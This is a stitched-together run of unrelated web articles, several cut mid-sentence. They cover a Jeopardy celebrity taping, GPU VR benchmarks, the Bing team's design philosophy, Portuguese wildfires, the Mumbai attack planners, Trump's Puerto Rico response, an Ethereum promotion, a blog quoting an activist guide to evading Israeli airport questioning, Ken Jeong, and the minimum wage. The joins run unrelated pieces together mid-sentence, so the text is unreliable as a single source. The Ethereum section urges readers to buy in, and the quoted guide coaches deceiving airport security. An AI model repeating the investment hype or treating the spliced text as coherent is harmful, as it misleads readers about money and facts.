But Chuck Todd, moderator of NBC’s “Meet the Press,” is on his way to the spotlight, looking confident, relaxed, ready to play. “I did this one other time,” he explains. “Having won that other time, my wife was very much against me doing this again.”
By 10 a.m., it’s time for the practice game to begin, and most of the crowd has been seated, rain-soaked and red-nosed, blowing warm breath into cold, cupped hands.
Category: “A Colorful Category.” Answer, as read by the Trebek body-double: “Jet and ebony.”
“Black!” Franzen shouts. Correct, but he forgot to use his buzzer and to phrase it as a question. No points awarded. During break, a producer will give the Pulitzer finalist some remedial buzzer tips, which seems to help.
Twenty minutes later, the crowd — mostly white, mostly young(ish), mostly self-professed nerds — hears the words they’ve been waiting for. “And now, here is the host — Alex Trebek!”
He tells the contestants it’s time to get to work, and categories come flying. We can tell you nothing of the results, lest the “Jeopardy” Gods place a pox upon our house. (Perhaps there is a clue regarding the winners encrypted into this story. If anyone can decode it, a “Jeopardy” fan can. But would a true loyalist want to?)
Trebek takes questions from the audience during a commercial break. (Doug Kapustin/For The Washington Post)
Commercial break. And here Trebek comes alive. He is 75 and somehow ageless. The voice, the stature, the face virtually unchanged after 32 years as host of the longest-running game show on American television. He bounds to the front of the stage to take questions from the audience.
Q: “Where do you get your questions?”
A: “We have a staff of researchers.”
Q: When are you going to retire?
A: “When am I going to retire? Jeez. I never liked you.”
Final Jeopardy and then a few more questions.
Q: “What’s your favorite place to travel?”
A: “I love going to Yorkshire, England. Especially Haworth, home of the Brontes.”
Q: “How do you prepare for every taping?”
A: “I drink. And I’m going to go do that now.”
They laugh after almost every response. It doesn’t much matter what he says. Trebek can do no wrong. Especially in Washington, which he swears is his favorite place to tape. “D.C. ‘Jeopardy’ fans are not only loyal,” he says. “They are very kind. They are very supportive, and they’re bright.” And that, of course, elicits one of the biggest rounds of applause for the day.
[From 2012: Alex Trebek, the man with all the answers, is still looking for a few:”I will die without having come up with the answers to many things”]
It’s time for Round 2 and former Republican National Committee chair Michael Steele, who says he wants “Jeopardy” fans to know that he used to deejay. “And I still do. That’s how I relax. After a long day, I go home. I set up my boards...”
From left, Anderson Cooper, Lara Logan and Michael Steele clown around on the stage at DAR. (Doug Kapustin/For The Washington Post)
Anderson Cooper saunters out wearing a teal necktie coordinated to match his eyes. He’s been on “Jeopardy” three times. Won twice. But that’s not what he wants to talk about. He wants to talk about the time he lost — to Cheech Marin. “Who not only beat me, he butchered me.” Redemption would be sweet.
But first he’ll have to get through CBS News foreign correspondent Lara Logan, who seems a tad nervous. “It’s terrifying,” she says. “I’d rather be with the Special Forces covering the Islamic State than be on this show.”
Like the other contestants, Logan is asked to play a get-to-know-you word association game.
“Hamilton,” is the word an interviewer gives Logan. Previous contestants had given responses such as “Alexander” and “musical.”
“Hamilton Beach,” Logan replies, before launching into a story about a faulty small appliance she wanted to return. There were details, but let’s just make this a public service reminder not to be on the other end of Logan’s customer-service calls.
After a lunch break, Round 3 pits CNN anchor Kate Bolduan against Washington Post columnist Jonathan Capehart and comedian Louis C.K. In this context, the most popular comedian of the moment seems more like a beloved, middle-aged uncle — ill-fitting suit, unbuttoned shirt, obvious self-doubt. “I don’t know much of anything,” he says. “I barely graduated high school.”
[From 2013: Alex Trebek on the only trick to winning Jeopardy]
The competition gets underway, but soon the real show — the show between Trebek and his fans — continues.
Q: “What percent of the questions on the show do you get right?”
A: “About 60 percent. It used to be higher, but I have no knowledge about the current music scene. Boyz II Men and the Mills Brothers are the same to me.”
Q: “Who should play you in the biopic of your life?”
A: “Kevin Kline, Johnny Depp, Kevin Spacey or Betty White.”
A buzzer awaits celebrity contestants during the Power Players event. (Doug Kapustin/For The Washington Post)
Trebek’s stand-in during rehearsal, Jimmy McGuire, warms up the audience at DAR Constitution Hall. (Doug Kapustin/For The Washington Post)
Round 4 comes and goes with Sen. Al Franken (D-Minn.) playing against Republican strategist Ana Navarro and CNN legal analyst Sunny Hostin. Trebek makes more cracks about his drinking, his murky retirement plans and the Washington region’s faulty Metro system.
By the time taping of the last show begins at 8:30 p.m. Abe Lincoln’s eyes have begun to look more tired than angry.
But “Mad Men” creator Matthew Weiner is ready to test his knowledge against CNN’s David Gregory and Melissa Harris-Perry, who recently walked off her MSNBC show but hinted at her upcoming plans: “Keep an eye on my shoes.” Huh. (For the record, they were nude, peep-toe, platform pumps.)
The buzzers start going, and when they stop, Trebek makes his way to the audience for one last set of questions.
Q: “Favorite topic of all time?”
A: “We’ve done more than 7,000 shows. And I have trouble remembering what I ate for dinner last night.”
Q: “How did you get involved with the musk ox?” This question comes from a former “Jeopardy” contestant — there are several in the audience — and it prompts a long explanation from Trebek. He explains that the musk ox is “like a buffalo with a long fur coat.” He once read that to protect themselves against their biggest predator, wolves, musk oxen form a circle around the herd’s women and children, with their horns facing out. Trebek was enchanted by the way they get in formation to protect their families and became an ambassador for the Musk Ox Farm in Alaska.
“So when you make a donation,” he says, “You will get a card signed by me as ‘Father of the Herd.’ ”
By 9:15 p.m. the final round of applause has been given. But Trebek is still on stage, shaking hands, posing for pictures, standing in front of a giant American flag, tending to his herd.With those details and explanations in tow, let’s look at an early round of direct GPU comparison. For VR testing, the most relevant story surrounds the GeForce GTX 1060 and the Radeon RX 480 graphics cards. When AMD launched the RX 480 (8GB variant) it was pitched as the lowest priced card to offer a solid VR experience. The GeForce GTX 1060 (6GB variant in these tests) is slightly more expensive ($220 vs $240) but falls in the same competitive category.
A couple of notes before we get into the comparisons. For the Oculus Rift based testing (Chronos, Dirt Rally, Edge of Nowhere, Obduction) all settings were left at default. The HTC Vive testing through SteamVR had a slight modification. As of this writing, AMD GPUs do not support asynchronous reprojection in SteamVR while NVIDIA’s do support it. Asynchronous reprojection will allow SteamVR to handle missed frames and late frames much more efficiently. In order to maintain the most accurate comparisons of performance, asynchronous reprojection was disabled on both platforms. (Interleaved reprojection is supported on both platforms and remained enabled.)
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Chronos on the Oculus Rift running at the High preset runs noticeably faster on the GTX 1060 than the RX 480. Our interval plots show near perfection when it comes to 90 FPS consistency but the Radeon card finds itself in the 45 FPS ASW state a few times as the frametimes spike above the 11ms mark. The GTX 1060 provided an unconstrained FPS of 112 FPS, 49% higher than the 75 FPS provided by the Radeon RX 480.
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Even though Dirt Rally continue to make me uncomfortable while playing it, it was a highly-requested game we included it here in our initial batch of results. Again, the GTX 1060 has the clear edge, able to maintain the 90 FPS mark for smooth and consistent VR gaming, while the RX 480 at the same High quality preset was in the 45 FPS / ASW state the clear majority of our testing time. In one of those odd results, the unconstrained FPS is slightly lower than the delivered FPS on the GTX 1060, but higher on the RX 480. The net result comparing unconstrained results though shows the GTX 1060 being 31% faster than the Radeon card.
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The Edge of Nowhere is an interesting VR title but doesn’t offer any quality settings at all (or at least isn’t exposing them), giving us one testing environment. Both the GTX 1060 and the RX 480 perform very similarly with the slight edge going to the GeForce card. Both deliver a solid 90 FPS to the headset but the unconstrained FPS of the GTX 1060 is 4-5% faster.
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Our Obduction testing is a bit more variable, with the RX 480 operating at lower frametimes in some locations but the GTX 1060 running faster in others. Both video cards run a significant portion of their time at 45 FPS with ASW in action when running at the High preset. The unconstrained FPS is higher on the GTX 1060, 73 FPS vs 61 FPS, but because both average frame times are well over the 11ms mark, the experiences they provide the gamer are similar.
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Our final Oculus Rift test is probably the most popular current game on the platform. Robo Recall takes the engine and design language of Epic Train demo that circulated since the early days of modern VR and turns it into arguably the best shooter we have seen utilizing room scale technology. With the High preset, both the GTX 1060 and RX 480 have a decent run at it, but the RX 480 does have a few windows where "real" frames drops to 45 FPS and Oculus is forced to enable asynchronous space warp. Not so on the GeForce GTX 1060 that holds steady. Based on the unconstrained FPS numbers, the GTX 1060 has an 18% edge in performance.Microsoft's Bing search engine has been evolving consistently since its debut back in 2009, and is now known for the gorgeous images displayed on its homepage each morning. Neowin had a chance to talk with Stefan Weitz and Robert Dietz from the Bing team who gave us insight into how the Bing team builds and designs their search engine.
When it comes to building a search engine, the design and philosophy behind the service are nearly as important as the search results. But staying modern with your search design is not easy, as Stefan proclaimed, as search is constantly evolving; in his words, "the web of today, is much less a collection of pages and links and is much more like a high digital proxy of the real world".
More importantly, not only does Bing have to think about what content to include in your search results, but how to display that information on your monitor and all of the mobile solutions that view the results as well. Considering that Bing is available on everything from a Windows Phone to your Xbox, making design changes to the service requires significant consideration on how it will be implemented on each type of device.
The way the Bing team thinks about design and user experience is that the web is not a static block of text and content but rather a flowing piece of fabric, and the team must observe and predict its movements so that it can be prepared for changes in user preferences. For example, a few years ago if you searched the name of your favorite restaurant, you might expect to find a listing for the phone number and address for the venue. Today, users expect to be able to have deep links to reservation pages or links to open an app that will allow them to see the menu at the location.
But how do you display these additional deep links, when do you display them, and should you even display them at all based on the search terms? These are the questions that Bing is constantly trying to foresee as the web evolves so that Bing is ready for how user preferences change, and so that the service evolves along with our expectations.
It is within this evolution that the Bing team is trying to help push Bing forward but without appearing intrusive, in the way that some feel Google is the 'Big Brother' of the Internet.
The Bing team tries to predict what your next action will be after you enter your query and then give you that information so that your search experience requires less clicking and eye panning. In fact, from search to first click takes approximately 20 seconds but the Bing team is working to reduce that by giving you the next bit of information you need, before you know you need it. Robert Dietz said that they want you to find what you are looking for and then have Bing already populate your next steps but also keep the interface as simple as possible.
If you begin to think in that type of mindset, in an action+1 scenario, design becomes increasing complex as you now have the initial query but then you also have to display the next steps for the end user. But where do you display that content so that it does not distract from the primary query? To find the answer to that question, you conduct field trials to observe user trends and obtain feedback.
Image of legacy version of Bing.com courtesy of bing-seo.net
Microsoft is constantly testing new designs and feature changes on Bing.com to keep the service on the cutting edge of usability and performance so that the end user has the best experience on the market. Because Microsoft is the number 2 player in the market, according to Stefan, the company can be agile and nimble with its tweaks and can constantly push the envelope of design and performance as it hacks away at Google's market share. On the flip side, because Google is the largest player and consumers have long become accustomed to the basic feel of the layout, when Google creates changes, they have to be far more conservative to not upset their user base and thus, can become a bit stagnant on their design approach to continue to appease the masses.
Bing refers to these field tests as 'flights' and when they combine multiple updates, usually consisting of 5 or more flights, it is called a'superflight'. As you might have guessed, visual changes tend to have the most impact, according to Robert, but framework changes often go unnoticed. Because of this, it's easier for Bing to tweak search results than it is the design. In the last superflight that involved visual changea, there were 51 field trials before the change was implemented on Bing.com
When you think about how search has evolved over the years, it becomes clear that the process of search is no longer about a simple text box where you place a few keywords and hope to find the results to satisfy your query. Today, search is evolving at a rapid pace as new platforms emerge (Facebook, Twitter, Klout) that require indexing but at the same time, you can't simply inject this data into traditional search results as the information is contextually sensitive.
It's this contextually sensitive data that Bing is currently working to find the right balance of information with; usefulness but without becoming overbearing by shoving social data where it does not belong. At this time, Bing receives 2 billion data points from Facebook each day, but pairing that information up with the right search queries is not an easy task. As such, Bing is constantly tweaking and listening to user feedback about when social data is applicable and when it should be hidden, where it serves no real purpose.
But Bing will argue that social data is worth including on many queries. For example, if you search Bing for café recommendations in Paris, you can get your standard web results but it's also possible that someone you know also has recommendations that may be more relevant to your needs. The idea of searching contextual content and then pairing it with real life information is a huge arena that Bing is working to perfect. It's not an easy task to bring all of this together, as Stefan and Robert point out that getting this information wrong is an instant black eye for the service - but when you get it right, the user experience is phenomenal.
Along with social data, push/predictive text is one of the new hot trends in search. Stefan was able to share that the predictive text, at this given time, is only about 85% accurate. While that percentage is quite good, when you get it wrong, it hurts the brand image considerably. When push/predictive text provides you with the wrong information, there is a 6x hit to the brands reputation from when you get this information correct. It's one of the many areas that the Bing team is working to increase their win ratios but at the same time, you can't be too aggressive in this area or it becomes a barrier to use for some consumers.
For Microsoft, Bing is evolving to be able to query any type of medium from text to gesture support. As we move down the road from text-based searches to snapping images of a laptop to learn more about its specs, know that the Bing team is already planning for such features and will implement them when the time is right.
While Bing may not have the lion's share of the market, it is making significant strides in usability and, more importantly, search results, and does offer a compelling alternative to Google.
Neowin would like to thank Stefan Weitz and Robert Dietz for taking time to give us an inside look at Bing.Portugal’s Interior Minister Constanca Urbano de Sousa has resigned after wildfires killed more than a hundred people in the past months.
Since Sunday, hundreds of fires have raged across northern and central Portugal after the driest summer in nearly 90 years, killing at least 41 people and overwhelming firefighting and rescue services.
In June, a forest fire killed 64 people.
The Interior Ministry is in charge of firefighters, the police and civil protection agency, which have all faced criticism after the fires.
In her resignation letter, the minister said: “I didn’t have the political and personal conditions to continue in my post.”
Prime Minister Antonio Costa said in a statement he accepted the minister’s resignation.
An opposition politician launched a motion of no-confidence in the Socialist government on Tuesday.
This year’s fires have burned a total of 350,000 hectares, the worst since 2003.WASHINGTON, April 10 (UPI) -- The U.S. Defense Advanced Research Projects Agency says it is offering a $2 million prize for the design of an advanced rescue robot.
Various challenges requiring robots to navigate a series of physical tasks like those anticipated in real-world disasters will confront teams in the competition, TG Daily reported Tuesday.
Robots played an important role in dealing with last year's Fukushima nuclear power plant disaster in Japan, and U.S. military forces use robots to help defuse improvised explosive devices, DARPA program manager Gill Pratt said.
"True innovation in robotics technology could result in much more effective robots that could better intervene in high-risk situations and thus save human lives and help contain the impact of natural and man-made disasters," he said.
"This challenge is going to test supervised autonomy in perception and decision-making, mounted and dismounted mobility, dexterity, strength and endurance in an environment designed for human use but degraded due to a disaster."
Robots in the competition, set to begin in October, will be required to demonstrate the ability to use available human tools, ranging from hand tools to vehicles.
"Robots undoubtedly capture the imagination, but that alone does not justify an investment in robotics," DARPA Acting Director Kaigham J. Gabriel said. "For robots to be useful [to the Department of Defense] they need to offer gains in either physical protection or productivity.
"The most successful and useful robots would do both via natural interaction with humans in shared environments."After years of viewing each other as rivals in the push to get light rail transit in their parts of the city, some residents of north and southeast Calgary have decided to work together to get the trains running.
The newly founded citizens' group LRT On The Green met for the first time on Tuesday night.
The non-profit aims to speed up progress on the recently-approved Green Line, a separate bus-only roadway that will stretch from Harvest Hills in the city’s far north to the new hospital in the deep southeast.
It will be designed so it can later be converted for C-Train use.
Doug Hayden, who co-founded the group, said residents need a unified voice to advocate that the LRT line gets built by 2021.
“The stakeholders, and by that I mean the developers and the businesses that would be along this route, they're already in communications with planning and some of the city folk, but there's no real voice for the amount of people that are affected,” he said.
“So, that voice typically comes from community associations or homeowners associations. Those are the people we want to have one voice for, to say you know what, it's time to get this line built.”
The group is currently looking for board members and hopes to have its first committee meeting by December.
Ward 12 Coun. Shane Keating said having a united voice is crucial.
"We have to lead it and it is our job to push, which is what I've been doing for the past four years — and successfully, because we are getting there much faster than we were before,” he said.
“But now it’s the citizens’ approach, to make sure the other orders of government actually come in and make this dream come to fruition."
The new transit line is expected to cost the city $764 million, but that price will jump considerably if the LRT conversion happens.
Below is a detailed map of the proposed Green Line. On mobile, or want a closer look, click here.This story was published as part of Amazon's Kindle Singles program, and is available for reading on that device.
On a November night two years ago, a young American rabbi and his pregnant wife finished dinner at their home in the mega-city of Mumbai.
Gavriel and Rivka Holtzberg had come to India on a religious mission. They had established India's first outpost of Chabad Lubavitch, the Orthodox Jewish organization, in a six-story tower overlooking a shantytown. The Chabad House offered a synagogue, a cyber-café, two floors of guest rooms, India's biggest Hebrew library and a dining room that could seat 50 for festive meals. The Holtzbergs' guests that evening were two American rabbis, an Israeli grandmother and a Mexican tourist.
Hundreds of miles away in Pakistan, a youthful terrorist chief named Sajid Mir was preparing a different sort of religious mission. With the support of Pakistan's intelligence service, Mir had spent two years using a Pakistani-American businessman named David Coleman Headley to conduct meticulous reconnaissance on Mumbai, according to investigators and court documents. He had selected iconic targets and the Chabad House, a seemingly obscure choice, but one that ensured that Jews and Americans would be casualties.
On Nov. 26, 2008, Mir sat among half-a-dozen militant chiefs in a safe house in Karachi tracking an attack team as its dinghy approached the Mumbai waterfront. The Lashkar-i-Taiba terrorist group had made Mir the project manager of its biggest strike ever, the crowning achievement of his career as a holy warrior.
The 10 gunmen went ashore and split into five teams. His voice crisp and steady, Mir directed the slaughter by phone from his command post, relaying detailed instructions to his fighters. About 10:25 p.m., gunmen stormed the Chabad House. They shot the Holtzbergs and the visiting rabbis, took the Israeli grandmother and Mexican tourist hostage and barricaded themselves on an upper floor.
Mir told his men to try to trade the hostages for a gunman who had been captured. Mir spoke directly to the Mexican hostage, 50-year-old Norma Rabinovich, who had been preparing to move to Israel to join her adult children.
Mir soothed the sobbing woman in accented but smooth English.
"Save your energy for good days," Mir told her during the call intercepted by Indian intelligence. "If they contact right |
closely with our First Responders. Fantastic job!"
...for safety. Thank you to the Governor of P.R. and to all of those who are working so closely with our First Responders. Fantastic job! — Donald J. Trump (@realDonaldTrump) October 1, 2017
Rossello told reporters Sunday that the U.S. Defense Department has increased its presence on the island, and that the emphasis remains on ensuring that “food, water and other the supplies get delivered to the people of Puerto Rico.” However, when asked whether all buildings were inspected for safety as Trump had claimed, Rossello said: "I’m not sure about that. There are areas in Puerto Rico that we haven’t gotten in contact."
Trump also drew fire on Saturday for saying some people in Puerto Rico "want everything to be done for them when it should be a community effort. 10,000 Federal workers now on Island doing a fantastic job."
FEMA Administrator Brock Long said on Fox News Sunday that relief efforts on the island represent one of the most logistically challenging undertakings the country has ever faced, particularly coming so soon on the heels of other hurricanes.
He acknowledged major challenges remain and there's still a "long way to go," but he said a lot has been accomplished.
"What I don't have patience for is the fact that what we're trying to do and what we have successfully done is we've established a joint field office in San Juan... where we're having daily conversations with all the mayors, we're working with the governor and his leadership to create unified objectives," Long said.
Long also dismissed criticism of the federal relief efforts, including from Cruz.
"We can choose to look at what the mayor spouts off or what other people spout off, but we can also choose to see what's actually being done, and that’s what I would ask."
Treasury Secretary Steven Mnuchin said Sunday that the San Juan mayor's complaints about the pace of aid were "unfair" given everything that's been done.
"When the president gets attacked, he attacks back," Mnuchin said on NBC's Meet the Press.
After getting generally high marks for his administration's handling of hurricanes Harvey and Irma, Trump has now found himself on the defensive for the preparations for Maria.
Political opponents contrasted his approach to Puerto Rico to his recent hurricane recovery efforts in Texas and Florida, for which the president spent the weekend at Camp David working on disaster response and tweeted ongoing messages of support for the damaged areas on the mainland.
Sen. Bernie Sanders, I-Vt., speaking on CNN's State of the Union, suggested skin color may be a factor in Trump's response. He also noted that Trump tweet-bombed the San Juan mayor from his "fancy golf club" in New Jersey, where he is spending the weekend, while mayor Cruz copes with a lack of food, water, and electricity.
"It is unspeakable," Sanders said. "I don't know what world Trump is living in."
What world does Trump live in where it's acceptable to attack the mayor of San Juan while he plays golf with his billionaire friends? https://t.co/s1xXTbOdwa — Bernie Sanders (@SenSanders) October 1, 2017
Ohio Republican Gov. John Kasich, also on CNN, said "it's not appropriate" for Trump to criticize public officials who are "in the middle of a disaster."
Mick Mulvaney, Trump's director of the Office of Management and Budget, said the president is saying that, because of the island's location, the recovery project in Puerto Rico was always going to be tougher than the ones in Florida and Texas.
"This is an island that was absolutely devastated," Mulvaney said on CNN. "This was always going to be harder."
Cruz herself appeared to dismiss Trump's tweets during an interview on ABC's This Week, saying that "any dialogue that goes on just has to be able to produce results."
As for Trump's visit, Cruz said, "If he asks to meet with me, of course I will meet with him."
– Oren Dorell contributed from San Juan
Read or Share this story: https://usat.ly/2kbBvTXEthereum has the highest chances to be the next Bitcoin as the digital cryptocurrency goes from strength to strength. Meanwhile, the bitcoin bubble looks set to burst at any moment. Ethereum is the second largest cryptocurrency, currently trading at $770, while its market capitalization is $74 billion, according to CoinMarketCap.
Oliver Isaacs is a serial entrepreneur, tech investor and one of the fastest growing tech influencers around the world. He believes ethereum could become as successful and profitable as the larger bitcoin. Educated at the London School of Economics, Mr Isaacs have made 10,000 per cent returns on cryptocurrency investments in the past few years. Speaking to Express.co.uk, he stated:
“Bitcoin certainly is still the market leader in terms of value per coin as it is the most well known cryptocurrency, so is the most widely used. However, I predict Ethereum will have the best long-term potential of any cryptocurrency though due to flexibility and smart contracts. The cryptocurrencies I personally invest in are ones which provide a value or purpose, future applications in our everyday lives as well as solid growth. Thus I have invested in undervalued coins which have a lack of awareness.”
He also talked about cryptocurrency in general, saying that “in the long term, I would not be surprised if cryptocurrencies will eventually obsolete all other forms of money as it frees society from its current condition of economic enslavement.”
As a conclusion, seeing such persons strongly believing in ethereum and cryptocurrency in general, is an even better reason for the common people to jump on board and change their lives completely. The beginning of a new and much better future has already started. As long as people fight for it, it will certainly be a success. Or, in crypto fans terms, HODL! The true power lies in the hands of the many, in the hands of the people!Avi Mayer, who uncovered Free Gaza’s original Neo Nazi tweet, and has since been all over the story like a rash, has noticed some peculiarities with the response of Free Gaza’s co-founder Huwaida Arraf.
If, as Arraf claims, she is no longer the Board Chair of the Free Gaza Movement, then her “endorsement” of Berlin’s “apology” is meaningless. Who is the current Board Chair? Why has the organization not distanced itself from Berlin’s anti-Semitism? And will Berlin remain a part of the organization’s leadership?
At what point did she decide to scrub any references to her leadership role in the organization? Did she panic? Did she think we wouldn’t notice?
Is it not curious that Arraf should cease identifying herself as the organization’s Chair in the midst of a major controversy involving the organization and one of her colleagues in its leadership?
A cursory review of the current page on the Free Gaza Movement website would suggest that it was changed hurriedly, without adding any “new” board members — though it should be noted that Greta Berlin appears in both the current and previous versions of the page.
See the cached version of Arraf’s Twitter profile here and of the Free Gaza Movement leadership page here. Arraf went on to state that the organization had announced a “new” board nearly two weeks ago, on September 22:
What’s curious about this is that, just hours earlier, Arraf’s Twitter profile stated clearly that she was the current Chair of the Free Gaza Movement…
Setting aside that we’re actually talking about more than one tweet, her next comment was puzzling: I am no longer the chair of @freegazaorg but endorse apology issued & continue to support the work FG does for Gaza & a free Palestine
I am in little doubt Arraf is lying. After all, she also founded the ISM, an organization that teaches its activists how to lie.
For example:
5 PRACTICAL ARRANGEMENTS (Dec 2001)
Encounter with Ben Gurion Airport
Getting in and out the Ben Gurion airport in Tel Aviv/Lydda can turn out to be anything between an almost entertaining absurd theatre and a most unpleasant experience. Below follows a small guide to the encounter with the Airport Security Service, ASS.
The Airport Security Service is an entity of its own and is not part of the GSS General Security Service), better know as Shin Beth. GSS is around, but unless you become a ëspecial caseí,youíll just deal with the Airport Security Service. Though ASS take their authority beyond the limit, they do have limited rights and authority. A good thing to keep in mind.
Arrival
All non-Israeli citizen must fill-in a visa formula upon arrival. Usually itís of little 13 trouble getting through the security check at the airport: A few basic questions at the booth and a few questions by the ASS ten meters past the booth. Besides the line at the booth everything normally take less than five minutes. However,the Airport Security Service may choose to go into a brief interrogation asking you questions like: who invited you and do you have an invitation? Where will you stay? Why did you choose to come now? Unless you actually are invited by a partner organization) ISM doesnít count (!or have a home organization to refer to, just say that youíre a tourist to visit the Holy Land. Do not enter any political discussion or make any statements. Itís not worth it.
Whereas it used to be unlikely that the ASS could try to refuse you entry, April 2002 saw that change. Due to international interference in Israeli military operations during the military invasions and sieges of Palestinian cities in March and April of 2002, Israeli authorities began denying entry to anyone suspected of being a ìPalestinian sympathizer.î This resulted not only in peace groups being turned away, but interfaith delegations, medical and humanitarian workers and international organization representatives. Those who followed our advice, however, did not get turned away.
– Do NOT come in large groups
– Do NOT indicate that you are coming to join the ISM
– Do NOT indicate that you are planning to be in the West Bank and Gaza.
– Do NOT carry anything on you that could label you a ìPalestinian sympathizer, in case you are singled out for search.
– DO have a good story prepared about why you are coming to ISRAEL
– DO have contact information and material to support your story
If it happens that you are refused entry, you will be put in a holding cell in the airport until a flight out can be arranged for you. You should ask to call your embassy right away (they should let you do this from the holding cell. Your embassy is usually the only call they will let you make) and have your embassy make a call for you. Have them call your home support, who should then call the ISM or a lawyer in Israel directly.
Departure
Contrary to what you may expect, getting out is a completely different story than getting in.Whereas most people can get in OK, leaving is where things may get tough and unpleasant.It may take hours to get out – odd as it may sound. But donít panic – youíll make it in the end! Most other countries do luggage and body scanning and thatís it for security. Israel has a procedure at the airport that is 10 percent security and 90 percent ëbullyingí. Always referred to as ìfor you own personal security.î
Briefly, this is the scenario: One or two Airport Security Service personnel will approach you asking for your ticket and passport. Then theyíll ask you a long range of questions, finally checking your luggage by hand. You donít have to check-in, theyíll do that,and you go straight the transit area or gate.
The scenario in detail: The ASS personnel will always try to be friendly but reserved. They usually work in pairs, conferring with small clusters of other security staff. Theyíll take your passport and ticket and will keep them until theyíve done the check-in or youíre done with the interrogation and luggage check. Then theyíll ask you the security questions: Whatís your destination, is the luggage all yours, who packed it, was it under your surveillance after being packed, did you receive any items from anybody. And thatís about it for the security questions, now follows the 90 percent irrelevant questions: Why do you fly with this company (e.g. BA or SAS), why do you (in the event) have a connected flight, what did you pay for the ticket, why did you visit Israel these days, if you have a co-operating organization here why didnít you just call them on the phone, how did you get to the airport, who did you meet with and why Öetc. The questions can be everything from amusingly stupid to annoyingly offensive.
Before entering the airport you should decide by yourself what level of discussion you are prepared to enter. Boldly speaking: do you feel the need to make statements if the going gets tough – or do you feel just to ëplay the gameí and go easy. Or something in between.
By playing the game,you are just a tourist, who stayed at a hotel, who didnít meet with Palestinians, who didnít participate in anything Ö etc. Doing this, your chances of getting through the security check smoothly are higher but never guaranteed.
By making statements,you do not hide that you, for example, stayed with Palestinian friends — but you refuse to give their names. (Please note! The Airport Security Service personnel have NO right, whatsoever, to get personal information about people living under the Palestinian Authority.) Or you donít hide that youíve met with various ëanti-occupation organizationsí.The tougher you get the tougher they get.
The bottom line is: answer all their questions with personal information as the ultimate limit. If you choose not to hide that you know Palestinians privately and met with them,the ASS will certainly ask for their personal information. When refusing this ASS will occasionally threaten you and say that you wonít reach your flight if you donít cooperate. They may even bring a supervisor who yells at you that theyíll keep you if you donít behave. These are empty threats; in the end youíll win the power game and youíll catch your plane. Just stay calm and cool.
They often swap teams so you get a new team of interrogation personnel or theyíll confer your information with each other and them come back asking the same question again or asking for an in-depth explanation.
After the interrogation the luggage check comes. Donít get too optimistic if they start by scanning your luggage – theyíll hand-check it anyway. The hand-check can be described as follows: All your bags will be completely emptied, they will turn everything inside-out, all electronic devices will taken aside for a special check (unless you – against all odds – persuade them not to. (So, within minutes youíll ses your personal belongings spread all over the place!
Youíll be asked to explain what things are if its not clear to them, and you may be asked to turn on your laptop to demonstrate that itís a working PC and not a bomb that goes off (yes!). Keep batteries in your devices so they can see that it works as expected.
You may expect that the Israeli Airport Security Service (ASS) is well organized, well structured and with the big general view. But they are not. Rather, they are disorganized and disordered – sometimes with a strict procedure, sometimes behaving randomly (e.g. having a bag searched twice by the same person). First they get started checking your luggage, you should have one single focus: Get all your belongings back in your bags safe and unbroken!
Doníts
Do NOT carry any private information about Palestinians youíve met or know. Business cards and names of people at upper level positions at organizations are OK, but never any private address or phone number. The ASS have no right, whatsoever, to get personal information about people living under the Palestinian Authority. Got new friends? Write yourself an e-mail before you leave back home with names and contact information and dispose your notes. And donít forget to clean sweep your laptop or PDA.
Do NOT carry any sensitive paper. At least not when leaving. If you carry any paper or document you consider sensitive, one way or the other, then send them by fax or mail.
Do NOT accept personal harassment. The ASS personnel may do a body search on you.This is done by a person of your own gender and behind a curtain. This is by the book. However, from time to time it happens that they ask you to undress naked for the body search. This is not by the book; it is personal harassment and beyond their authority. So, never accept to undress naked or to do anything else that violates your personal integrity.
Do NOT accept their offer to have personal items ìsent to you laterî. It may happen that the Airport Security Service gets extra suspicious about some of your personal items and expresses the utmost need to do further security checks on the item (camera, laptop, shaver etc.) and that they will send it to you when you get back home. Never accept this: you may never see the item again and if you do itíll be broken.NEW YORK (AP) — Actor Ken Jeong says that much of the inspiration for his memorably angry Mr. Chow character in “The Hangover” movie was a reaction to his wife’s fight against breast cancer at the time.
His small role in the 2009 comedy, which included leaping naked out of a car trunk to attack someone, was so wildly over-the-top that he won an MTV Movie Award for it.
Even after earning the role, however, he wasn’t going to take it. He explained in a short film to accompany the upcoming PBS documentary, “Cancer: The Emperor of All Maladies,” that he was caring for his wife, Tran Ho, and their one-year-old twins as she was undergoing chemotherapy.
“Tran encouraged me to do it,” Jeong said in an interview. “She thought I was suffering from caregiver burnout.”
He channeled his rage at his wife’s plight into the character, he said. One monologue that wound up being cut from the film but used as a DVD outtake turned into a pure rant that Jeong sees now he was doing to unburden himself.
Jeong, who is Korean, slipped in some dialogue in Vietnamese purely as an inside joke for his wife, who is Vietnamese.
He accepted his MTV award with an emotional speech just after the couple learned that she was cancer-free for two years. Before he could talk about it to the media following the show, he slipped into an alley behind the theater and broke down crying.
Shortly after that, the Stand Up to Cancer organization asked him to do some volunteer work, and that included the online film that is being used to promote the PBS project, a film by Barak Goodman and Ken Burns that brings to life the Pulitzer Prize-winning book by Siddhartha Mukherjee. The three-part film airs on PBS March 30, 31 and April 1
Tran Ho has now been cancer-free for six years.
“She’s just a pillar of strength,” Jeong said. “She’s my biggest inspiration because she handled it with such grace and strength and class. Even if I wasn’t married to her, I’d be in awe of her.”
The video is being posted Monday on the site www.cancerfilms.org.Every time I even mention the idea of raising the minimum wage, I am immediately attacked on social media.
Opponents imagine that inflation will skyrocket; some have even claimed that ‘milk will be $10.00 a gallon’ if we raise the minimum wage. Oh, the hysteria. Milk is currently around $3.50 a gallon and that is up 25% from just ten years ago. Is that 25% due to rising wages? Sadly, no – wages in America have declined during that time. Must be some other economic force at work. (Read “Even Dairy Farming has a 1%” here.)
So, what if we raised the floor to a living wage, and paid non-tipped employees a minimum wage of $12.00 per hour? Oh, more hysteria. Opponents claim that will drive our costs up so much we will be unable to eat!
Let’s look at a few facts about minimum wage.
Who gets paid minimum wage? People opposed to raising the wage claim that ‘minimum wage workers are kids in high school; adults do not make minimum wage’. The fact is 25% of minimum wage workers are below the age of 19 – which means that 75% of all minimum wage earners are above the age of 20. That means they’re adults – not high school kids. In fact, almost half of all minimum-wage earners are above the age of 25.
Another fact: under the current minimum wage, a full time worker makes only $15,500 per year – before taxes.
Another fact: 64% of all minimum wage earners are women. Of that a whopping 66% are women above the age of 20.
Another fact: More than a third of minimum wage workers (35.8 percent) are married, and over a quarter (28.0 percent) are parents. The Economic Policy Institute estimates that if Congress raised the minimum wage, it would raise the standard of living for more than 21 million children.
The UC Berkley Labor Center studied the effects of raising the minimum wage to $12.00 per hour. They specifically looked at the nation’s largest employer, Walmart.
